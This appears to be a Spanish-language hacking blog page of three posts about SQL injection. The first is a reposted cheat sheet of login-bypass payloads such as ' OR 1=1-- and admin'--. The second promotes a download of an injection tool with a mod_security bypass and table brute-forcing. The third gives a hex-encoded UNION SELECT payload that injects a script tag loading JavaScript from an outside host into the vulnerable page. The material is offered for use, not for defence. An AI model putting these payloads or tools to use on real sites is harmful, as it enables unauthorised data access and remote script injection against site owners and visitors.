SQL Injection cheat sheet

Los siguientes «trucos» para SQL Injection son una colección de una web llamada 0x000000.com que lamentablemente en la actualidad no esta disponible, los tenía guardados por ahí hace tiempo y quiero compartirlos con ustedes:

A collection of known and working SQL vectors. These vectors are designed and tested by me on my localhost. I kept the list clean and concise tested for all MySQL versions to date unless stated otherwise. This sheet is under constant development, please come back often. Note that most of these vectors can be used on SQL server or Oracle but mainly it is written and tested for MySQL only. What I give you here is basicly everything you ever need to know about MySQL injection. You have to construct the pieces yourself and probably need to know what they do in order to use them.

Basics

SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"

Use inside login form:

1' OR 1=1--
1' OR '1' = '1
'
''
'or"='
') or ('a'='a
") or ("a"="a
hi" or "a"="a
or a=a--
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a

Continuar leyendo…

SQL-PwnZ 1.5 – Herramienta para SQL Injection

Algunos deben recordar que anteriormente les había hablado de esta tool. Hoy me encontré en la web de Login-Root que ya esta disponible la version 1.5.

Las novedades son:

[+] Agregado mod_security Bypass.
[+] Agregado Illegal Mix Of Collations Bypass.
[+] Agregadas más tablas para bruteforce.
[+] Agregadas más columnas para bruteforce.
[+] Código interno mejorado.
[+] Bugs Fixeados.

Pueden descargarla desde aquí.
Continuar leyendo…

General Injection Explorer 3.0

Anteriormente publique SQL-PwnZ 1.1 una herramienta para realizar inyecciones SQL. La que les traigo hoy es más amigable y solo necesitan usar el navegador, se llama General Injection Explorer 3.0 y fue creada por PonyMagic.

[?] ¿Que es?
Básicamente es un explorador de bases de datos MySQL via SQLi, «incrustado» en la inyección.

[!] ¿Que tiene la versión 3.0?
[+] Codeado desde 0.
[+] Bypasseo de «illegal operation», y limite de group_concat_max_len.
[+] Mejor manejo de CSS && DIVS.
[+] Peticiones realizadas con AJAX.
[+] Nueva forma de ver tablas, MUCHO mas ordenadas.

[?] ¿Como se usa?
En una SQLi, unís otro select y marcas las columnas ( id=-1 union select 1,2,3,4,5 )
En un valor que printee (que se muestre en la web), simplemente copias y pegas el código de la GIE.

(0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)

Ejemplo:
Normal: tales.php?id=-1 union select 0,1,2,3,4,5,6,7,8,9–
Con GIE: tales.php?id=-1 union select 0,1,(0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a7322207479
70653d22746578742f6a617661736372697074223e3c2f7363726970743e),3,4,5,6,7,8,9–

En el siguiente gif pueden ver como funciona: